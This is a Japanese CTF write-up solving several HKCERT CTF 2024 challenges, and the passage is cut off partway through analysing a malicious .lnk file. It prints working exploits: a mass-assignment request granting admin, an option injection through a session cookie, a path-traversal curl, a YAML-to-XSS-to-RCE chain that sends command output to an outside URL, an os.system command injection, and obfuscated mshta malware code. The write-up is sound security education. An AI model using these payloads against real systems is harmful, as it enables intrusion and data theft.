    form = UserForm(request.form, obj=user)

    if not form.validate():
        flash('Invalid input', 'warning')
        return redirect(url_for('pages.register'))

    form.populate_obj(user)

    user_with_same_username = User.query_view.filter_by(username=user.username).first()
    if user_with_same_username is not None:
        flash('User with the same username exists.', 'warning')
        return redirect(url_for('pages.register'))

    db.session.add(user)
    db.session.commit()

    login_user(user)
    return redirect(url_for('pages.homepage'))

User の定義は次の通り。is_admin がユーザによって置き換えられないよう対策をしているようには思われない。

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String, nullable=False)
    is_admin = db.Column(db.Boolean, default=False)
    password = db.Column(db.String, nullable=False)
    score = db.Column(db.Integer, default=0)
    last_solved_at = db.Column(db.DateTime)

    query_view = _QueryViewProperty()

    def marshal(self):
        return {
            'id': self.id,
            'username': self.username,
            'is_admin': self.is_admin,
            'score': self.score
        }

    # for flask-login
    def is_authenticated(self):
        return True

    @property
    def is_active(self):
        return True

    @property
    def is_anonymous(self):
        return False

    def get_id(self):
        return self.id

    def check_password(self, password):
        salt, digest = self.password.split('.')
        return compute_hash(password, salt) == self.password

そういうわけで、ユーザ登録時に強引に is_admin を追加し、/api/admin/challenges/ を叩いてみるexploitを用意する。

import httpx

with httpx.Client(base_url='https://(省略)') as client:
    client.post('/register/', data={
        'username': 'poyopoyo',
        'password': 'poyopoyo',
        'is_admin': '1'
    })

    r = client.get('/api/admin/challenges/').json()
    for chall in r['challenges']:
        if 'hkcert' in chall['description']:
            print(chall['description'])

実行するとフラグが得られた。

$ python3 2.py
Many players complained that the CTF is too guessy. We heard you. As an apology, we will give you a free flag. Enjoy - <code>hkcert24{y0u_c4n_wr1t3_unsp3c1f13d_4t7r1bu73s_t0_th3_us3r_m0d3l}</code>.
hkcert24{y0u_c4n_wr1t3_unsp3c1f13d_4t7r1bu73s_t0_th3_us3r_m0d3l}

[Web 150] Webpage to PDF (1) (295 solves)

Thanks to Poe I coded a webpage to PDF in seconds! I am genius right?

Note: There is a step-by-step guide to the challenge.

添付ファイル: webpage-to-pdf-1_15c8547227b822545a78cbff640fb324.zip

与えられたURLにアクセスすると、次のようにURLを入力できるフォームが表示された。適当に https://example.com を入力してみると、このサイトをPDF化したファイルが返ってきた。なるほど、WebページをPDFにしてくれるWebアプリらしい。

サーバ側のコードを見ていく。Dockerfile からは COPY ./flag.txt / からルートディレクトリにフラグがあることがわかる。なんとかしてこれを読み出したい。

PDFの生成処理を見ていく。自前の execute_command という関数を使いつつ、wkhtmltopdf でHTMLをPDFに変換している。出力先のファイル名はCookieから持ってきているけれども、署名等はされておらず、ユーザが設定したものがそのままOSコマンドに展開されるようになっている。OSコマンドインジェクションなり、オプションの付与なりできないだろうか。

なお、file:///flag.txt をフォームで入力するというのは通らない。wkhtmltopdf による変換にあたって、requests.get で対象のURLからコンテンツを引っ張ってきているけれども、requestsは file: スキームに対応していないためだ。

@app.route('/process', methods=['POST'])
def process_url():
    # Get the session ID of the user
    session_id = request.cookies.get('session_id')
    html_file = f"{session_id}.html"
    pdf_file = f"{session_id}.pdf"

    # Get the URL from the form
    url = request.form['url']
    
    # Download the webpage
    response = requests.get(url)
    response.raise_for_status()

    with open(html_file, 'w') as file:
        file.write(response.text)

    # Make PDF
    stdout, stderr, returncode = execute_command(f'wkhtmltopdf {html_file} {pdf_file}')

    if returncode != 0:
        return f"""
        <h1>Error</h1>
        <pre>{stdout}</pre>
        <pre>{stderr}</pre>
        """
        
    return redirect(pdf_file)

execute_command は次の通り。オプションの付与ができそう。

def execute_command(command):
    """
    Execute an external OS program securely with the provided command.

    Args:
        command (str): The command to execute.

    Returns:
        tuple: (stdout, stderr, return_code)
    """
    # Split the command into arguments safely
    args = shlex.split(command)

    try:
        # Execute the command and capture the output
        result = subprocess.run(
            args,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
            check=True  # Raises CalledProcessError for non-zero exit codes
        )
        return result.stdout, result.stderr, result.returncode
    except subprocess.CalledProcessError as e:
        # Return the error output and return code if command fails
        return e.stdout, e.stderr, e.returncode

wkhtmltopdf は、古いバージョンだとデフォルトの設定で file:///flag.txtiframe で埋め込むことでローカルのファイルを表示させることができる等々、マズい挙動を示すことで知られている。問題サーバで使われているバージョンは0.12.5と古めに見えるものの、記事中で紹介されている手法は通らず。

root@c80fa5de0e10:/# wkhtmltopdf --version
wkhtmltopdf 0.12.5

ではどうするか。Cookieからオプションを仕込めばよい。wkhtmltopdf--enable-local-file-access オプションを付与することでローカルファイルへのアクセスも可能となることを利用しよう。まず <iframe src=file:///flag.txt></iframe> という内容のHTMLを poyopo.html に保存させる。この時点では、もちろん /flag.txt へのアクセスはブロックされる。

$ curl -X POST https://(省略)/process -b "session_id=poyopo" -d "url=http://(省略)/a.html"

        <h1>Error</h1>
        <pre></pre>
        <pre>QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root'
Loading page (1/2)
[>                                                           ] 0%
[==============================>                             ] 50%
Warning: Blocked access to file /flag.txt
Error: Failed to load about:blank, with network status code 301 and http status code 0 - Protocol "about" is unknown
[============================================================] 100%
Printing pages (2/2)
[>                                                           ]
Done
Exit with code 1 due to network error: ProtocolUnknownError
</pre>

続いて、次のようにセッションIDから --enable-local-file-access を仕込むことで、ローカルファイルへの制限を解除しつつ poyopo.html をPDFに変換させる。

$ curl -X POST https://(省略)/process -b "session_id=--enable-local-file-access poyopo" -d "url=https://example.com"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="--enable-local-file-access poyopo.pdf">--enable-local-file-access poyopo.pdf</a>. If not, click the link.

生成されたPDFにアクセスすると、フラグが得られた。

hkcert24{h0w-t0-use-AI-wisely-and-s4fe1y?}

[Web 150] Custom Web Server (1) (95 solves)

Someone said: 'One advantage of having a homemade server is that it becomes much harder to hack.' Do you agree? Give reasons.

Note: The files in src/public are unrelated for the challenge.

(問題サーバのURL)

添付ファイル: custom-server-1_6d8967a25def900543b2f8f012b7e673.zip

Cで書かれたHTTPサーバが与えられる。わあ。まず Dockerfile を見ると COPY ./flag.txt /flag.txt とあり、なんとかしてこれを読むのがゴールであるとわかる。クライアントが接続してくると、まず handle_client が呼び出される。1024文字を読み出して GET / 以降、スペースや改行文字等の区切り文字までをリクエストされたパスとして、read_file で対応するファイルの内容を返そうとしている。

#define BUFFER_SIZE 1024
// …
void handle_client(int socket_id) {
    char buffer[BUFFER_SIZE];
    char requested_filename[BUFFER_SIZE];

    while (1) {
        memset(buffer, 0, sizeof(buffer));
        memset(requested_filename, 0, sizeof(requested_filename));

        if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;

        if (sscanf(buffer, "GET /%s", requested_filename) != 1)
            return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));

        FileWithSize *file = read_file(requested_filename);
        if (!file)
            return build_response(socket_id, 404, "Not Found", read_file("404.html"));

        build_response(socket_id, 200, "OK", file);
    }
}

read_file と関連する関数の定義は次の通り。../ が使われているかまったくチェックしていないのでPath Travarsalできそうだけれども、やっかいなことに ends_with.html, .png, .css, .js のいずれかで終わっているかチェックされている。/flag.txt を読みたいので困った。

bool ends_with(char *text, char *suffix) {
    int text_length = strlen(text);
    int suffix_length = strlen(suffix);

    return text_length >= suffix_length && \
           strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}

FileWithSize *read_file(char *filename) {
    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;

    char real_path[BUFFER_SIZE];
    snprintf(real_path, sizeof(real_path), "public/%s", filename);

    FILE *fd = fopen(real_path, "r");
    if (!fd) return NULL;

    fseek(fd, 0, SEEK_END);
    long filesize = ftell(fd);
    fseek(fd, 0, SEEK_SET);

    char *content = malloc(filesize + 1);
    if (!content) return NULL;

    fread(content, 1, filesize, fd);
    content[filesize] = '\0';

    fclose(fd);

    FileWithSize *file = malloc(sizeof(FileWithSize));
    file->content = content;
    file->size = filesize;
 
    return file;
}

read_file を眺めていると、拡張子をチェックした後で public/ に指定されたパスを結合していることに気づいた。それだけなら問題ないけれども、snprintf を使っているので1023文字で切られてしまう。つまり、../../../../…/flag.txt.js のようなパスが渡るようにして、チェック時には .js で終わっていると判定されるけれども、その後の snprintf/flag.txt で切れるよう文字数を調整すればよいのではないか。

    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;

    char real_path[BUFFER_SIZE];
    snprintf(real_path, sizeof(real_path), "public/%s", filename);

ということで試す。できた。

$ curl --path-as-is "https://(省略)/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../..////flag.txt.js"
hkcert24{bu1ld1n9_4_w3bs3rv3r_t0_s3rv3_5t4t1c_w3bp4935_1s_n0ntr1vial}
hkcert24{bu1ld1n9_4_w3bs3rv3r_t0_s3rv3_5t4t1c_w3bp4935_1s_n0ntr1vial}

[Web 400] JSPyaml (18 solves)

I only know how to parse YAML with Python, so I use JS to run Python to parse YAML.

添付ファイル: jspyaml_3c3a6ee9d56cc287a5852cc8873b594b.zip

いい感じにYAMLをパースしてくれるWebアプリが与えられている。まずフラグの在り処を確認していく。proof.sh という以下のような内容のシェルスクリプトが存在しており、これが COPY proof.sh /proof.sh に設置されるらしい。RCEに持ち込む必要がありそうだ。

#!/bin/sh
echo hkcert22{22222222222222222222}

XSS botも用意されている。いつものやつという感じで、与えられたURLにただアクセスするだけらしい。

        console.log(`Opening browser for ${url}`);
        browser = await puppeteer.launch({
            headless: true,
            pipe: true,
            executablePath: '/usr/bin/chromium',
            args: [
                '--no-sandbox',
                '--disable-setuid-sandbox',
                '--disable-gpu',
                '--jitless'
            ]
        });
        const ctx = await browser.createBrowserContext();
        await Promise.race([
            sleep(TIMEOUT),
            visit(ctx, url),
        ]);

ではこのbotはどこにアクセスさせればよいか。/debug というAPIが存在しており、これは js-yaml を使ってサーバ側でYAMLのパースをしてくれる。ローカルからのアクセスでなければこのAPIを使えないので、XSSなりなんなりでbotにこいつを叩かせればよさそうだ。なお、req.cookies.debugon かどうかチェックされているけれども、これはXSSさえできれば document.cookie = 'on' で突破できるのでどうでもよい。

app.post('/debug', (req, res) => {
    if(ip.isLoopback(req.ip) && req.cookies.debug === 'on'){
        const yaml = require('js-yaml');
        let schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all);
        try{
            let input = req.body.yaml;
            console.log(`Input: ${input}`);
            let output = yaml.load(input, {schema});
            console.log(`Output: ${output}`);
            res.json(output);
        }catch(e){
            res.status(400).send('Error');
        }
    }else{
        res.status(401).send('Unauthorized');
    }
});

YAMLのパースからサーバ側でのRCEへ

XSSは後で考えることにして、まずはサーバ側でどうRCEに持ち込むか考えていく。/debug では yaml.load に用いるスキーマとして yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all) を用いている。js-yaml ではデフォルトだと関数をデシリアライズできないところ、このスキーマは関数も作れてしまうものなのでマズい。/debug ではYAMLのデシリアライズ後に文字列化を行っているので、toString プロパティに /proof.sh を実行する関数を仕込めばよさそうだ。

試してみると、次のようにしてYAMLのデシリアライズからRCEへ持ち込めた。

$ node
…
> yaml.load(`- toString: !!js/function 'function () { return console.log(123) }'`, { schema }) + ''
123
'undefined'

YAMLのパースからクライアント側でのXSSへ

クライアント側のコードは次のような感じ。フォームで入力された、もしくはフラグメント識別子で設定されたYAMLをパースして出力している。けれども、そのやり方がなかなか妙で、ブラウザ上でPythonを実行できるPyodideを使いつつ、PyYAMLでパースしている。なんで?

<body>
    <h1>YAML Parser</h1>
    <textarea id="yaml" placeholder="- YAML"></textarea><br>
    <button id="parse">Parse</button>
    <h2>Output:</h2>
    <pre id="output"></pre>

    <script>
    let pyodide;
    async function init(){
    pyodide = await loadPyodide();
    await pyodide.loadPackage("pyyaml");
    runHash();
    }
    async function run(y){
    x = `+'`'+`import yaml
yaml.load("""`+`$`+`{y.replaceAll('"','')}""",yaml.Loader)`+'`'+`;
            try {
                output.textContent = await pyodide.runPythonAsync(x);
            } catch (e) {
                output.textContent = e;
            }
    }
        async function runHash() {
            const hash = decodeURIComponent(window.location.hash.substring(1));
            if (hash) {
                yaml.value = hash;
                run(hash);
            }
        }        
        parse.addEventListener("click", async () => {run(yaml.value)});
        onhashchange = runHash;
        onload = init;
    </script>
</body>

安全な yaml.safe_load でなく、わざわざ yaml.load を使っているので、Python上でのRCEは容易に可能だ。ここからJSの実行につなげたいところだが、PyodideはそのようなAPIを提供しているだろうか。

公式ドキュメントを探すと、pyodide.code.run_js を見つけた。以下のYAMLを入力してみるとアラートが表示された。

!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('pyodide.code').code.run_js('alert(123)')"

解く

あとはやるだけ…というほどやるだけでもない。適切にエンコードをするスクリプトを用意する。

import urllib.parse
p1 = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('pyodide.code').code.run_js('PAYLOAD')"
'''.strip()

p2 = '''
eval(String.fromCharCode(PAYLOAD))
'''.replace('\n', '')

p3 = '''
(async () => {
    const url = 'https://(省略)?';
    document.cookie = "debug=on";
    
    await (await fetch("/debug", {
        method: "POST",
        headers: {"Content-Type": "application/x-www-form-urlencoded"},
        body: 'yaml=' + encodeURIComponent(`- toString: !!js/function 'function () { return fetch("${url}" + btoa(process.mainModule.require("child_process").execSync("/proof.sh").toString())) }'`)
    })).text();
})();
'''.replace('\n', '')
p3 = ','.join(str(ord(c)) for c in p3)

p2 = p2.replace('PAYLOAD', p3)

print('http://localhost:3000/#' + urllib.parse.quote(p1.replace('PAYLOAD', p2)))

これでローカルではうまくいったが、なぜかリモートではうまくいかない。サーバ側での問題なのかなんなのかはわからないが、チケットを立てて相談した。すると、作問者のローカル環境で試したらうまくいったということでお情けでフラグをもらえた。

hkcert24{Owasp_0wasm_ma1ware_palware}

[Reverse 100] Void (147 solves)

I made a simple webpage that checks whether the flag is correct... Wait, where are the flag-checking functions?

(問題サーバのURL)

与えられたURLにアクセスすると、次のような感じでフラグを聞かれた。

ソースを見ると次のような感じ。何が起こっているのか。

さらにスクロールすると以下のようなコードが見つかる。なるほど、最近バズっていた不可視の文字でコードをエンコードするやつっぽい。

// https://x.com/aemkei/status/1843756978147078286
function \u3164(){return f="",p=[]  
,new Proxy({},{has:(t,n)=>(p.push(
n.length-1),2==p.length&&(p[0]||p[
1]||eval(f),f+=String.fromCharCode
(p[0]<<4|p[1]),p=[]),!0)})}//aem1k

eval(f) という処理が見えているので、これを console.log に置き換える。次のようなJavaScriptコードを復元できた。

const flag = document.getElementById('flag');
flag.focus();

handleKeyPress = event => event.key === 'Enter' && check();

function check() {
    if (flag.value === 'hkcert24{j4v4scr1p7_1s_n0w_alm0s7_y3t_4n0th3r_wh173sp4c3_pr09r4mm1n9_l4ngu4g3}') {
        flag.disabled = true;
        flag.classList.add('correct');
    } else {
        flag.classList.add('wrong');
        setTimeout(() => flag.classList.remove('wrong'), 500);
    }
}
hkcert24{j4v4scr1p7_1s_n0w_alm0s7_y3t_4n0th3r_wh173sp4c3_pr09r4mm1n9_l4ngu4g3}

[Reverse 500] MBTI Radar (13 solves)

Enter your name to receive the MBTI of the next 12 people you will meet later!

添付ファイル: unity_a733362e24a99fb1317c2e8db09994bc.zip

与えられたファイルを展開して実行ファイルを実行すると、次のような画面が表示された。名前を入力して "Roll 12" を押すと12個のMBTIが表示される。この表示される順番は入力した名前ごとに固有で、ESFP ISTP ESFJ … という順番で表示される名前を見つければよいらしい。

とりあえず _ と入力すると、"Name can only be alphanumeric characters!" と表示された。英数字だけというのはありがたい。1個ずつ試していくと、1 で次の段階に進んだ。

画面は次のように変わる。今度は2文字の名前らしい。なるほど、1文字ずつ増えていくやつだ。解析か自動化の必要がありそう。

起動時のロゴからUnityであるのは明らかだ。ILのままなら解析しやすくありがたいのだけれども、残念ながら il2cpp_data というフォルダ名が見える。IL2CPPを通してネイティブコードにコンパイルされてしまっているらしい。

幸いにも windows/main_Data/il2cpp_data/Metadata 下に global-metadata.dat が存在しており、かつこれは af 1b b1 fa から始まっていることから推測できるように暗号化されていない。Il2CppDumperを使えば、シンボル情報を復元した上でGhidra等で解析ができる。それでもしんどいけど。

出力された DummyDll/Assembly-CSharp.dll をILSpyに投げてメインの処理を探す。GameBehaviourValidName, HashName, UpdateChallenge といった気になるメソッドが生えている。これをGhidraで見ていこう。

まず GameBehaviour のコンストラクタは次の通り。StringLiteral_533StringLiteral_1171 といった文字列リテラルが代入されているが、これらは ESFP ISTP ESFJ … というような内容だ。なるほど、これがステージごとに目指すべきMBTIのリストらしい。

void GameBehaviour$$.ctor(longlong param_1)

{
  code *pcVar1;
  undefined8 uVar2;
  longlong lVar3;
  
  if (DAT_180ce4723 == '\0') {
    thunk_FUN_180113910(&int[]_TypeInfo);
    thunk_FUN_180113910(&string[]_TypeInfo);
    thunk_FUN_180113910(&
                        Field$<PrivateImplementationDetails>.90D856B7ECAC90C26898AF8A46404297AA0EF65 768F62FDF8C3F08294BCBEE49
                       );
    thunk_FUN_180113910(&StringLiteral_1161);
    thunk_FUN_180113910(&StringLiteral_1215);
    thunk_FUN_180113910(&StringLiteral_4547);
    thunk_FUN_180113910(&StringLiteral_982);
    thunk_FUN_180113910(&StringLiteral_529);
    thunk_FUN_180113910(&StringLiteral_527);
    thunk_FUN_180113910(&StringLiteral_533);
    thunk_FUN_180113910(&StringLiteral_1171);
    DAT_180ce4723 = '\x01';
  }
  *(undefined8 *)(param_1 + 0x28) = StringLiteral_982;
  thunk_FUN_1801615d0(param_1 + 0x28,StringLiteral_982);
  *(undefined8 *)(param_1 + 0x30) = StringLiteral_4547;
  thunk_FUN_1801615d0(param_1 + 0x30,StringLiteral_4547);
  uVar2 = FUN_18016ee60(int[]_TypeInfo,6);
  System.Runtime.CompilerServices.RuntimeHelpers$$InitializeArray
            (uVar2,
             Field$<PrivateImplementationDetails>.90D856B7ECAC90C26898AF8A46404297AA0EF65768F62FDF8C 3F08294BCBEE49
             ,0);
  *(undefined8 *)(param_1 + 0x60) = uVar2;
  thunk_FUN_1801615d0(param_1 + 0x60,uVar2);
  lVar3 = FUN_18016ee60(string[]_TypeInfo,6);
  if (lVar3 != 0) {
    if (*(int *)(lVar3 + 0x18) != 0) {
      *(undefined8 *)(lVar3 + 0x20) = StringLiteral_533;
      thunk_FUN_1801615d0(lVar3 + 0x20);
      if (1 < *(uint *)(lVar3 + 0x18)) {
        *(undefined8 *)(lVar3 + 0x28) = StringLiteral_1171;
        thunk_FUN_1801615d0(lVar3 + 0x28);
        if (2 < *(uint *)(lVar3 + 0x18)) {
          *(undefined8 *)(lVar3 + 0x30) = StringLiteral_1215;
          thunk_FUN_1801615d0(lVar3 + 0x30);
          if (3 < *(uint *)(lVar3 + 0x18)) {
            *(undefined8 *)(lVar3 + 0x38) = StringLiteral_1161;
            thunk_FUN_1801615d0(lVar3 + 0x38);
            if (4 < *(uint *)(lVar3 + 0x18)) {
              *(undefined8 *)(lVar3 + 0x40) = StringLiteral_529;
              thunk_FUN_1801615d0(lVar3 + 0x40);
              if (5 < *(uint *)(lVar3 + 0x18)) {
                *(undefined8 *)(lVar3 + 0x48) = StringLiteral_527;
                thunk_FUN_1801615d0(lVar3 + 0x48);
                *(longlong *)(param_1 + 0x68) = lVar3;
                thunk_FUN_1801615d0(param_1 + 0x68,lVar3);
                UnityEngine.Transform$$.ctor(param_1,0);
                return;
              }
            }
          }
        }
      }
    }
    FUN_18016fba0();
    pcVar1 = (code *)swi(3);
    (*pcVar1)();
    return;
  }
  FUN_18016fbb0();
  pcVar1 = (code *)swi(3);
  (*pcVar1)();
  return;
}

GameBehavior.Roll は次のような処理だ。UnityEngine.Random.value で乱数を取得し、その結果に基づいて1個だけMBTIを返している。

void GameBehaviour$$Roll(longlong param_1,longlong param_2,char param_3)

{
  undefined8 uVar1;
  code *pcVar2;
  longlong lVar3;
  undefined8 uVar4;
  float fVar5;
  longlong *local_res10;
  
  if (DAT_180ce4720 == '\0') {
    // …
  }
  fVar5 = (float)UnityEngine.Random$$get_value(0);
  fVar5 = fVar5 * 201.0;
  if (fVar5 < 54.0) {
    if (fVar5 < 33.0) {
      if (fVar5 < 12.0) {
        uVar4 = StringLiteral_1157; // INFJ
        if (3.0 <= fVar5) {
          uVar4 = StringLiteral_1159; // INFP
        }
      }
      else {
        uVar4 = StringLiteral_513; // ENFP
        if (28.0 <= fVar5) {
          uVar4 = StringLiteral_511; // ENFJ
        }
      }
    }
    else if (fVar5 < 44.0) {
      uVar4 = StringLiteral_1165; // INTJ
      if (37.0 <= fVar5) {
        uVar4 = StringLiteral_1167; // INTP
      }
    }
    else {
      uVar4 = StringLiteral_517; // ENTP
      if (50.0 <= fVar5) {
        uVar4 = StringLiteral_515; // ENTJ
      }
    }
  }
  else if (fVar5 < 147.0) {
    if (fVar5 < 105.0) {
      uVar4 = StringLiteral_1213; // ISTJ
      if (77.0 <= fVar5) {
        uVar4 = StringLiteral_1169; // ISFJ
      }
    }
    else {
      uVar4 = StringLiteral_535; // ESTJ
      if (122.0 <= fVar5) {
        uVar4 = StringLiteral_525; // ESFJ
      }
    }
  }
  else if (fVar5 < 176.0) {
    uVar4 = StringLiteral_1217; // ISTP
    if (158.0 <= fVar5) {
      uVar4 = StringLiteral_1173; // ISFP
    }
  }
  else {
    uVar4 = StringLiteral_537; // ESTP
    if (184.0 <= fVar5) {
      uVar4 = StringLiteral_531; // ESFP
    }
  }

同じ名前ならば同じMBTIの組み合わせが返ってくるようになっていたが、これはどのように実現されているか。GameBehaviour.OnClick に以下のような処理があった。名前を小文字化した上で数値へ変換し、UnityEngine.Random.InitState へシードとして渡している。

      lVar7 = System.String$$ToLower(lVar1,0);
      uVar15 = uVar13;
      uVar14 = uVar13;
      if (lVar7 != 0) {
        for (; (int)uVar14 < *(int *)(lVar7 + 0x10); uVar14 = uVar14 + 1) {
          lVar2 = *(longlong *)(param_1 + 0x30);
          param_3 = (longlong *)0x0;
          System.String$$get_Chars(lVar7,uVar14);
          if (lVar2 == 0) goto LAB_1801f0866;
          param_3 = (longlong *)0x0;
          iVar6 = System.String$$IndexOf(lVar2);
          uVar15 = uVar15 * 0x24 + iVar6;
        }
        UnityEngine.Random$$InitState(uVar15,0);

これでおおよそアルゴリズムが把握できた。ブルートフォースで目的のMBTIの組み合わせが返ってくるような名前を見つけよう。Unityで新しくプロジェクトを作成し、以下のC#コードを適当なゲームオブジェクトにアタッチする。

using System;
using UnityEngine;

public class NewMonoBehaviourScript : MonoBehaviour
{
    // Start is called once before the first execution of Update after the MonoBehaviour is created
    void Start()
    {
        string[] targets =
        {
            "ESFP ISTP ESFJ ISFJ ESTJ ISTP ESTP ENFP ENTJ ESTJ ISTP ISTJ",
            "ISFJ ESTP ESTJ INTJ ISTP ISFJ ESFJ ISFJ ISTJ INTP ENFP ISTP",
            "ISTJ ESFJ ISFJ INTJ ESFJ ISFP ISFJ ESFJ ESFP ISFP ESTJ ISFP",
            "INFP ESFJ ISFJ ENFP ESFJ ISFP INFP ENTJ ESFP ESTP ESFP ESFP",
            "ESFJ ISFP ESFJ ISFJ ISTJ ENFJ ESTJ ESTJ ISFP ISFP ESFJ ENTP",
            "ESFJ ESFJ INFP ESFJ ESFP ISFJ ESTJ ESFJ ESTJ ISFJ ISFP ISFJ"
        };
        string charList = "0123456789abcdefghijklmnopqrstuvwxyz";
        foreach (var a in charList)
        {
            foreach (var b in charList)
            {
                foreach (var c in charList)
                {
                    foreach (var d in charList)
                    {
                        foreach (var e in charList)
                        {
                            var s = new string(new char[] { a, b, c, d, e });
                            if (Go(s) == targets[4])
                            {
                                Debug.Log($"found: {s}");
                                return;
                            }
                        }
                    }
                }
            }
        }
    }

    // Update is called once per frame
    void Update()
    {

    }

    string Go(string s)
    {
        UnityEngine.Random.InitState(HashName(s));

        var mbtis = new string[12];
        for (int i = 0; i < 12; i++)
        {
            mbtis[i] = Roll();
        }

        return string.Join(" ", mbtis);
    }

    int HashName(string s)
    {
        var uVar7 = 0;
        var charList = "0123456789abcdefghijklmnopqrstuvwxyz";

        for (var i = 0; i < s.Length; i++)
        {
            var iVar4 = charList.IndexOf(s[i]);
            uVar7 = iVar4 + uVar7 * 0x24;
        }

        return uVar7;
    }

    string Roll()

    {
        string uVar4;
        double fVar5 = UnityEngine.Random.value * 201.0;
        if (fVar5 < 54.0)
        {
            if (fVar5 < 33.0)
            {
                if (fVar5 < 12.0)
                {
                    uVar4 = "INFJ";
                    if (3.0 <= fVar5)
                    {
                        uVar4 = "INFP";
                    }
                }
                else
                {
                    uVar4 = "ENFP";
                    if (28.0 <= fVar5)
                    {
                        uVar4 = "ENFJ";
                    }
                }
            }
            else if (fVar5 < 44.0)
            {
                uVar4 = "INTJ";
                if (37.0 <= fVar5)
                {
                    uVar4 = "INTP";
                }
            }
            else
            {
                uVar4 = "ENTP";
                if (50.0 <= fVar5)
                {
                    uVar4 = "ENTJ";
                }
            }
        }
        else if (fVar5 < 147.0)
        {
            if (fVar5 < 105.0)
            {
                uVar4 = "ISTJ";
                if (77.0 <= fVar5)
                {
                    uVar4 = "ISFJ";
                }
            }
            else
            {
                uVar4 = "ESTJ";
                if (122.0 <= fVar5)
                {
                    uVar4 = "ESFJ";
                }
            }
        }
        else if (fVar5 < 176.0)
        {
            uVar4 = "ISTP";
            if (158.0 <= fVar5)
            {
                uVar4 = "ISFP";
            }
        }
        else
        {
            uVar4 = "ESTP";
            if (184.0 <= fVar5)
            {
                uVar4 = "ESFP";
            }
        }
        return uVar4;
    }
}

実行すると、無事に以下のように5段階目の名前は und3r であることがわかった。

これを繰り返すとフラグが得られた。

hkcert24{1_4m_on3_5t4r_und3r_c4e1um}

Cpp2Ilを使えばもうちょっと楽に解析できたっぽい。

[Misc 100] B6ACP (97 solves)

Let's embark your cybersecurity journey by becoming a BlackB6a Certified Professional!

Flag at the home folder of the user.

Note: There is a step-by-step guide to the challenge.

(問題サーバのURL)

色々な検索エンジンで検索できるWebアプリが与えられる。

Server ヘッダからでは searchor/2.4.1 と設定されており、searchorというライブラリが使われているとわかる。バージョンとあわせて検索すると、CVE-2023-43364が見つかる。

どうやら検索エンジン名等を使って eval していたらしい。わあ。試しに AliExpress and 7*7 # を投げてみると、次のようにそれを eval した結果の 49 が返ってきた。

$ curl 'https://(省略)/'   -H 'content-type: application/x-www-form-urlencoded'   --data-raw 'e=AliExpress%20and%207*7%23&q=a'
…
    <script>
        window.open('49', '_blank').focus();
    </script>
…

あとはやるだけだ。OSコマンドの実行に持ち込んでファイルを探すと、/home/hkcertuser/local.txt にフラグが見つかった。

$ curl 'https://(省略)/'   -H 'content-type: application/x-www-form-urlencoded'   --data-raw 'e=AliExpress%20and%20__import__("os").system("cat ../home/hkcertuser/local.txt")%23&q=a'
…
    <script>
        window.open('hkcert24{pay_blackb6a_10BTC_t0_activate_y0ur_b6acp+_n0w!}
0', '_blank').focus();
    </script>
…
hkcert24{pay_blackb6a_10BTC_t0_activate_y0ur_b6acp+_n0w!}

[Misc 200] My Lovely Cats (62 solves)

From: Walsh Philip <Walsh.philip@example.com> Subject: My Lovely Cats
Date: 4 November, 2024

Dear my lovely friend,

Hey there! 🐾 I've put together my absolute favorite cat compilation just for you—handpicked from thousands of adorable cat pics! 😻 And guess what? There's a special flag hidden in the mov file, toooo! 🚩 The kind of flag everyone’s been after! Open it now and claim your flag—don’t wait! 🚀🎯

Yours Truly,

Walsh Philip

添付ファイル: mylovelycats_ffa936aa961da4830f6774ec010aca0e.zip

与えられたZIPを展開すると、次のようなファイルが出てくる。一方のファイルは DCIM_0017.mov.lnk ということでショートカットファイルだ。

雑に strings に投げると、次のように mshta でヤバそうなJSを実行している様子がわかる。大した難読化はされておらず、自身の2500バイト目以降を実行している様子がわかる。

$ strings -el DCIM_0017.mov.lnk
WINDOWS
system32
MshtA.exe
,..\..\..\..\..\..\WINDOWS\system32\MshtA.exe
                                                                                                                       "jAvascrIpt:;try{d=document;d.write('');o=this['\x41ctive\x58O\x62ject'];x=new o('Scri\x50ting.Fil\x45Syst\x45mObj\x45ct');t=x.GetFile('DCIM_0017.mov.lnk').OpenAsTextStream(1,false);t.Skip(2500);d.write(t.Read(1e6))}catch(e){}//"!%SystemRoot%\System32\Shell32.dll
%SystemRoot%\                                                                                                          \..\system32\\..\\MshtA
S-0-0-00-0000000000-0000000000-0000000000-0000

これを元に抽出した主要な処理は次の通り。読みづらいねえ。

N="substr";P=(''+''.constructor)[N](10,6);I=(''+{})[N](8,6);W="reverse";Z="split";Y="join";Q="X";S=this;U=S['Active'+Q+I];str=new String();
function atob(b) {
var enc = new U("System.Text.UTF8Encoding");
return enc["Get"+P](new U("System.Security.Cryptography.FromBase64Transform")["TransformFinalBlock"](enc["GetBytes_4"](b), 0, enc["GetByteCount_2"](b)));
}
function sha256(b) {
var enc = new U("System.Text.UTF8Encoding");
var res = "";
for (var i = 0; i < 32; i += 3)
        res += enc["Get"+P](
